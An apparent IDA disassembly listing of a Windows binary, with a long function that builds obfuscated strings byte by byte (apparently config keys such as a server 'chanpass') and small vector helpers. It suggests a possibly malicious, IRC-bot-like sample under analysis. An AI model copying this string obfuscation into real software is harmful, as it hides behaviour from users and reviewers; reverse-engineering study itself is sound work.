lea ecx, [esp+360h+var_144]
call sub_401A87
push offset dword_4437F8
lea ecx, [esp+360h+var_CC]
call sub_401A87
push 0
push 4Bh
push 48h
push 4Ah
push 47h
push 4Ch
push 48h
push 4Bh
push 48h
push 45h
lea eax, [esp+384h+var_348]
push 46h
push eax
call sub_4019B5
add esp, 30h
push eax
lea ecx, [esp+360h+var_1BC]
mov byte ptr [esp+360h+var_4], 1Fh
call sub_40200E
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 0Dh
push 4Fh
push 18h
push 9
push 6
push 14h
push 0Fh
lea ecx, [esp+39Ch+var_348]
push 8
push ecx
call sub_4019B5
add esp, 48h
push eax
lea ecx, [esp+360h+var_21C]
mov byte ptr [esp+360h+var_4], 20h
call sub_40200E
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 48h
push 46h
push 44h
lea edx, [esp+36Ch+var_348]
push 45h
push edx
call sub_4019B5
add esp, 18h
push eax
lea ecx, [esp+360h+var_B4]
mov byte ptr [esp+360h+var_4], 21h
call sub_40200E
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 48h
push 46h
push 44h
lea eax, [esp+36Ch+var_348]
push 45h
push eax
call sub_4019B5
add esp, 18h
push eax
lea ecx, [esp+360h+var_E4]
mov byte ptr [esp+360h+var_4], 22h
call sub_40200E
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 44h
push 49h
lea ecx, [esp+368h+var_348]
push 46h
push ecx
call sub_4019B5
add esp, 14h
push eax
lea ecx, [esp+360h+var_24C]
mov byte ptr [esp+360h+var_4], 23h
call sub_40200E
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 48h
push 46h
push 44h
lea edx, [esp+36Ch+var_348]
push 45h
push edx
call sub_4019B5
add esp, 18h
push eax
lea ecx, [esp+360h+var_9C]
mov byte ptr [esp+360h+var_4], 24h
call sub_40200E
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 5
push 15h
push 12h
lea eax, [esp+36Ch+var_348]
push 14h
push eax
call sub_4019B5
add esp, 18h
push eax
lea ecx, [esp+360h+var_330]
mov byte ptr [esp+360h+var_4], 25h
call sub_40200E
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 5
push 13h
push 0Ch
push 1
lea ecx, [esp+370h+var_348]
push 6
push ecx
call sub_4019B5
add esp, 1Ch
push eax
lea ecx, [esp+360h+var_318]
mov byte ptr [esp+360h+var_4], 26h
call sub_40200E
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
lea ecx, [esp+35Ch+var_2C4]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+374h+var_34C], esp
push eax
call sub_401861
push 0
push 13h
push 13h
push 1
push 10h
push 0Eh
push 1
push 8
push 3
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea edx, [esp+3D0h+var_348]
push 13h
push edx
mov byte ptr [esp+3D8h+var_4], 27h
call sub_4019B5
add esp, 64h
mov ecx, eax
mov byte ptr [esp+374h+var_4], 28h
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+38Ch+var_350], esp
push eax
call sub_401861
lea eax, [esi+0FECh]
mov ecx, esi
push eax
mov byte ptr [esp+390h+var_4], 29h
call sub_401CC1
sub_407790 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+80h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401861
push 0
push 0Eh
push 1
mov byte ptr [esp+37Ch], 2Ah
push 8
push 3
push 0Eh
push 9
push 1
push 0Dh
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+88h]
push 13h
push ecx
call sub_4019B5
add esp, 64h
mov ecx, eax
mov byte ptr [esp+370h], 2Bh
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401861
lea edx, [esi+1035h]
mov ecx, esi
push edx
mov byte ptr [esp+38Ch], 2Ch
call sub_401CC1
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+1B8h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401861
push 0
push 14h
push 12h
push 0Fh
push 10h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea eax, [esp+78h]
push 13h
push eax
mov byte ptr [esp+3C4h], 2Dh
call sub_4019B5
add esp, 54h
mov ecx, eax
mov byte ptr [esp+370h], 2Eh
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401861
lea ecx, [esi+0FA3h]
mov byte ptr [esp+388h], 2Fh
push ecx
mov ecx, esi
call sub_401CC1
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+1E8h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401861
push 0
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea edx, [esp+80h]
push 13h
push edx
mov byte ptr [esp+3CCh], 30h
call sub_4019B5
add esp, 5Ch
mov ecx, eax
mov byte ptr [esp+370h], 31h
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401861
lea eax, [esi+0F5Ah]
mov ecx, esi
push eax
mov byte ptr [esp+38Ch], 32h
call sub_401CC1
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+68h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401861
push 0
push 18h
push 9
push 6
push 5
push 12h
mov byte ptr [esp+388h], 33h
push 10h
push 0Bh
push 3
push 9
push 0Eh
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+90h]
push 13h
push ecx
call sub_4019B5
add esp, 6Ch
mov ecx, eax
mov byte ptr [esp+370h], 34h
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401861
lea edi, [esi+0E7Fh]
mov ecx, esi
push edi
mov byte ptr [esp+38Ch], 35h
call sub_401CC1
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+0B0h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401861
push 0
push 13h
push 13h
push 1
push 10h
push 16h
push 12h
push 5
push 13h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea edx, [esp+88h]
push 13h
push edx
mov byte ptr [esp+3D4h], 36h
call sub_4019B5
add esp, 64h
mov byte ptr [esp+370h], 37h
mov ecx, eax
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401861
lea eax, [esi+0F11h]
mov ecx, esi
push eax
mov byte ptr [esp+38Ch], 38h
call sub_401CC1
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+44h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401861
push 0
push 0Ch
push 13h
push 13h
push 3Fh
push 5
push 13h
push 15h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+84h]
push 13h
push ecx
mov byte ptr [esp+3D0h], 39h
call sub_4019B5
add esp, 60h
mov ecx, eax
mov byte ptr [esp+370h], 3Ah
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401861
lea edx, [esi+107Eh]
mov ecx, esi
push edx
mov byte ptr [esp+38Ch], 3Bh
call sub_401CC1
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea eax, [esp+10h]
mov ecx, offset byte_4D638F
push eax
mov [esp+14h], edi
call sub_401A5F
lea ecx, [esp+98h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401861
push 0
push 13h
push 13h
push 1
push 10h
push 0Eh
push 1
push 8
push 3
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+88h]
push 13h
push ecx
mov byte ptr [esp+3D4h], 3Ch
call sub_4019B5
add esp, 64h
mov ecx, eax
mov byte ptr [esp+370h], 3Dh
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401861
lea edx, [esi+1234h]
mov ecx, esi
push edx
mov byte ptr [esp+38Ch], 3Eh
call sub_401CC1
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+80h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401861
push 0
push 0Eh
push 1
push 8
push 3
push 0Eh
push 9
push 1
push 0Dh
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
mov byte ptr [esp+3CCh], 3Fh
push 13h
lea eax, [esp+8Ch]
push eax
call sub_4019B5
add esp, 64h
mov ecx, eax
mov byte ptr [esp+370h], 40h
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401861
lea ecx, [esi+127Dh]
mov byte ptr [esp+388h], 41h
push ecx
mov ecx, esi
call sub_401CC1
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+158h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401861
push 0
push 14h
push 12h
push 0Fh
push 10h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea edx, [esp+78h]
push 13h
push edx
mov byte ptr [esp+3C4h], 42h
call sub_4019B5
add esp, 54h
mov ecx, eax
mov byte ptr [esp+370h], 43h
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401861
lea eax, [esi+11EBh]
mov ecx, esi
push eax
mov byte ptr [esp+38Ch], 44h
call sub_401CC1
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+188h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401861
push 0
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+80h]
push 13h
push ecx
mov byte ptr [esp+3CCh], 45h
call sub_4019B5
add esp, 5Ch
mov ecx, eax
mov byte ptr [esp+370h], 46h
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401861
lea edx, [esi+11A2h]
mov ecx, esi
push edx
mov byte ptr [esp+38Ch], 47h
call sub_401CC1
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+68h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401861
push 0
push 18h
push 9
push 6
push 5
push 12h
push 10h
push 0Bh
push 3
push 9
push 0Eh
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
mov byte ptr [esp+3D4h], 48h
push 13h
lea eax, [esp+94h]
push eax
call sub_4019B5
add esp, 6Ch
mov ecx, eax
mov byte ptr [esp+370h], 49h
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401861
lea edi, [esi+10C7h]
mov ecx, esi
push edi
mov byte ptr [esp+38Ch], 4Ah
call sub_401CC1
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+170h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401861
push 0
push 13h
push 13h
push 1
push 10h
push 16h
push 12h
push 5
push 13h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+88h]
push 13h
push ecx
mov byte ptr [esp+3D4h], 4Bh
call sub_4019B5
add esp, 64h
mov ecx, eax
mov byte ptr [esp+370h], 4Ch
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401861
lea edx, [esi+1159h]
mov ecx, esi
push edx
mov byte ptr [esp+38Ch], 4Dh
call sub_401CC1
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+44h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401861
push 0
push 0Ch
push 13h
push 13h
push 3Fh
push 5
push 13h
push 15h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea eax, [esp+84h]
push 13h
push eax
mov byte ptr [esp+3D0h], 4Eh
call sub_4019B5
add esp, 60h
mov ecx, eax
mov byte ptr [esp+370h], 4Fh
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401861
lea ecx, [esi+12C6h]
mov byte ptr [esp+388h], 50h
push ecx
mov ecx, esi
call sub_401CC1
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea edx, [esp+10h]
mov ecx, offset byte_4D638F
push edx
mov [esp+14h], edi
call sub_401A5F
push offset byte_446F70
push offset word_4E6E9A
call sub_40102D
add esp, 8
lea ecx, [esp+230h]
call sub_401424
lea ecx, [esp+260h]
mov byte ptr [esp+358h], 51h
call sub_401424
push 56D2h
push 539h
mov byte ptr [esp+360h], 52h
call sub_4021A3
; ---------------------------------------------------------------------------
add esp, 8
push eax
lea eax, [esp+234h]
push offset dword_4437F4
push eax
call sub_40102D
push 56D2h
push 539h
call sub_4021A3
; ---------------------------------------------------------------------------
add esp, 14h
push eax
push offset dword_4437F4
lea ecx, [esp+268h]
push ecx
call sub_40102D
sub esp, 0Ch
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+606h]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+64Fh]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+805h]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+84Eh]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+897h]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+450h]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+5Ch]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+499h]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+52Bh]
push eax
mov ecx, esi
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+574h]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+0B28h]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+5Ch]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+8E0h]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+278h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+3BEh]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+1B8h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+407h]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+230h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+5BDh]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+158h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+698h]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+128h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+72Ah]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+0F8h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+6E1h]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+290h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+773h]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+2C0h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+7BCh]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push offset word_4E6E9A
call sub_4014C9
lea ecx, [esi+251h]
push ecx
mov ecx, esi
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+140h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+29Ah]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+110h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+2E3h]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+2A8h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+32Ch]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+248h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+375h]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
push 0
mov ecx, offset byte_4D638F
call sub_40146A
mov ecx, [eax]
add ecx, 16Dh
call sub_4017E4
push eax
push offset byte_44742D
mov ecx, offset word_448D16
call sub_401596
push 0
mov ecx, offset byte_4D638F
call sub_40146A
mov ecx, [eax]
add ecx, 1B6h
call sub_4017E4
push eax
push offset dword_4473E4
mov ecx, offset word_448D16
call sub_401596
push 0
mov ecx, offset byte_4D638F
call sub_40146A
mov ecx, [eax]
call sub_4017E4
push eax
push offset dword_4472C0
mov ecx, offset word_448D16
call sub_401596
push 0
mov ecx, offset byte_4D638F
call sub_40146A
mov ecx, [eax]
add ecx, 124h
call sub_4017E4
push eax
push offset word_447352
mov ecx, offset word_448D16
call sub_401596
push 0
mov ecx, offset byte_4D638F
call sub_40146A
mov ecx, [eax]
add ecx, 0DBh
call sub_4017E4
push eax
push offset byte_447309
mov ecx, offset word_448D16
call sub_401596
push 0
mov ecx, offset byte_4D638F
call sub_40146A
mov ecx, [eax]
add ecx, 92h
call sub_4017E4
push eax
push offset byte_44739B
mov ecx, offset word_448D16
call sub_401596
push 0
mov ecx, offset byte_4D638F
call sub_40146A
mov ecx, [eax]
add ecx, 1FFh
call sub_4017E4
push eax
push offset byte_4474BF
mov ecx, offset word_448D16
call sub_401596
lea ecx, [esp+1D0h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401861
lea ecx, [esp+260h]
mov byte ptr [esp+370h], 53h
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+8Ch], esp
push eax
call sub_401861
lea ecx, [esp+230h]
mov byte ptr [esp+388h], 54h
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+0A8h], esp
push eax
call sub_401861
lea ecx, [esp+110h]
mov byte ptr [esp+3A0h], 55h
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+0C4h], esp
push eax
call sub_401861
mov ecx, offset word_448C9E
mov byte ptr [esp+3B8h], 52h
call sub_40137F
; ---------------------------------------------------------------------------
lea ecx, [esp+260h]
mov byte ptr [esp+358h], 51h
call sub_401226
lea ecx, [esp+230h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+44h]
mov byte ptr [esp+358h], 1Dh
call sub_401226
lea ecx, [esp+2Ch]
mov byte ptr [esp+358h], 1Ch
call sub_401226
lea ecx, [esp+0E0h]
mov byte ptr [esp+358h], 1Bh
call sub_401226
lea ecx, [esp+2C0h]
mov byte ptr [esp+358h], 1Ah
call sub_401226
lea ecx, [esp+278h]
mov byte ptr [esp+358h], 19h
call sub_401226
lea ecx, [esp+110h]
mov byte ptr [esp+358h], 18h
call sub_401226
lea ecx, [esp+2A8h]
mov byte ptr [esp+358h], 17h
call sub_401226
lea ecx, [esp+140h]
mov byte ptr [esp+358h], 16h
call sub_401226
lea ecx, [esp+290h]
mov byte ptr [esp+358h], 15h
call sub_401226
lea ecx, [esp+170h]
mov byte ptr [esp+358h], 14h
call sub_401226
lea ecx, [esp+0B0h]
mov byte ptr [esp+358h], 13h
call sub_401226
lea ecx, [esp+1A0h]
mov byte ptr [esp+358h], 12h
call sub_401226
lea ecx, [esp+218h]
mov byte ptr [esp+358h], 11h
call sub_401226
lea ecx, [esp+1D0h]
mov byte ptr [esp+358h], 10h
call sub_401226
lea ecx, [esp+248h]
mov byte ptr [esp+358h], 0Fh
call sub_401226
lea ecx, [esp+200h]
mov byte ptr [esp+358h], 0Eh
call sub_401226
lea ecx, [esp+0C8h]
mov byte ptr [esp+358h], 0Dh
call sub_401226
lea ecx, [esp+2F0h]
mov byte ptr [esp+358h], 0Ch
call sub_401226
lea ecx, [esp+320h]
mov byte ptr [esp+358h], 0Bh
call sub_401226
lea ecx, [esp+2D8h]
mov byte ptr [esp+358h], 0Ah
call sub_401226
lea ecx, [esp+308h]
mov byte ptr [esp+358h], 9
call sub_401226
lea ecx, [esp+338h]
mov byte ptr [esp+358h], 8
call sub_401226
lea ecx, [esp+68h]
mov byte ptr [esp+358h], 7
call sub_401226
lea ecx, [esp+0F8h]
mov byte ptr [esp+358h], 6
call sub_401226
lea ecx, [esp+128h]
mov byte ptr [esp+358h], 5
call sub_401226
lea ecx, [esp+98h]
mov byte ptr [esp+358h], 4
call sub_401226
lea ecx, [esp+80h]
mov byte ptr [esp+358h], 3
call sub_401226
lea ecx, [esp+158h]
mov byte ptr [esp+358h], 2
call sub_401226
lea ecx, [esp+188h]
mov byte ptr [esp+358h], 1
call sub_401226
lea ecx, [esp+1B8h]
mov byte ptr [esp+358h], 0
call sub_401226
lea ecx, [esp+1E8h]
mov dword ptr [esp+358h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+350h]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
add esp, 350h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 5C0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409450 proc near ; CODE XREF: sub_40146Aj
arg_0 = dword ptr 4
push esi
push edi
mov esi, ecx
call sub_401974
mov edi, [esp+8+arg_0]
cmp eax, edi
ja short loc_409468
mov ecx, esi
call sub_40190B
; ---------------------------------------------------------------------------
loc_409468: ; CODE XREF: sub_409450+Fj
mov ecx, esi
call sub_401A37
lea eax, [eax+edi*4]
pop edi
pop esi
retn 4
sub_409450 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409490 proc near ; CODE XREF: sub_401A5Fj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_40128A
push eax
mov ecx, esi
call sub_40168B
pop esi
retn 4
sub_409490 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4094C0 proc near ; CODE XREF: sub_401A37j
mov eax, [ecx+4]
retn
sub_4094C0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4094E0 proc near ; CODE XREF: sub_40128Aj
mov eax, [ecx+8]
retn
sub_4094E0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409500 proc near ; CODE XREF: sub_401974j
mov edx, [ecx+4]
test edx, edx
jnz short loc_40950A
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_40950A: ; CODE XREF: sub_409500+5j
mov eax, [ecx+8]
sub eax, edx
sar eax, 2
retn
sub_409500 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409530 proc near ; CODE XREF: sub_40168Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, ecx
call sub_401A37
mov edx, [esp+8+arg_4]
mov ecx, eax
mov eax, [esp+8+arg_0]
push edx
mov esi, eax
push 1
sub esi, ecx
push eax
mov ecx, edi
sar esi, 2
call sub_401B9A
mov ecx, edi
call sub_401A37
lea eax, [eax+esi*4]
pop edi
pop esi
retn 8
sub_409530 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_409580 proc near ; CODE XREF: sub_40190Bj
var_40 = byte ptr -40h
var_39 = byte ptr -39h
var_38 = byte ptr -38h
var_34 = byte ptr -34h
var_30 = byte ptr -30h
var_C = dword ptr -0Ch
push 0FFFFFFFFh
push offset SEH_409580
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
lea eax, [esp+3Ch+var_39]
lea ecx, [esp+3Ch+var_38]
push eax
push offset aInvalidVectorT ; "invalid vector<T> subscript"
nop
call near ptr 76081F67h
lea ecx, [esp+44h+var_40]
mov [esp+44h+var_C], 0
push ecx
lea ecx, [esp+48h+var_30]
call near ptr 760A0430h
nop
lea edx, [esp+48h+var_34]
push offset dword_43F080
push edx
call sub_436832
sub_409580 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409600 proc near ; CODE XREF: sub_401B9Aj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov edi, [esp+10h+arg_4]
mov eax, [esi+8]
mov ecx, [esi+0Ch]
sub ecx, eax
sar ecx, 2
cmp ecx, edi
jnb loc_4096CB
mov ecx, esi
call sub_401974
cmp edi, eax
jnb short loc_409633
mov ecx, esi
call sub_401974
mov ebp, eax
jmp short loc_409635
; ---------------------------------------------------------------------------
loc_409633: ; CODE XREF: sub_409600+26j
mov ebp, edi
loc_409635: ; CODE XREF: sub_409600+31j
mov ecx, esi
call sub_401974
mov ebx, eax
push 0
